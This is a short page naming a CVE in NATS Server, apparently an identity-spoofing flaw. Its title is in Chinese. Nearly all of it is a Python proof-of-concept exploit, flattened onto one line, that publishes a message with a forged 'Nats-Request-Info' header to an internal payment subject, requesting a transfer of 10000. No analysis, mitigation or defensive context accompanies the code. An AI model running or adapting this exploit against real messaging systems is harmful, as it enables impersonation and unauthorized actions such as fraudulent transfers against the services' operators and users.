CVE-2026-33223 NATS-Server身份欺骗漏洞

import asyncio import nats async def exploit(): # Connect to the vulnerable NATS server nc = await nats.connect("nats://localhost:4222") # Malicious headers to spoof identity # The server fails to strip this header effectively headers = { "Nats-Request-Info": "malicious_user_account", "Content-Type": "application/json" } # Target a service relying on Nats-Request-Info for auth subject = "svc.internal.payment" payload = b"{\"action\": \"transfer\", \"amount\": 10000}" # Publish message with spoofed header await nc.publish(subject, payload, headers=headers) print("[+] Exploit payload sent with spoofed Nats-Request-Info header") await nc.close() if __name__ == '__main__': asyncio.run(exploit())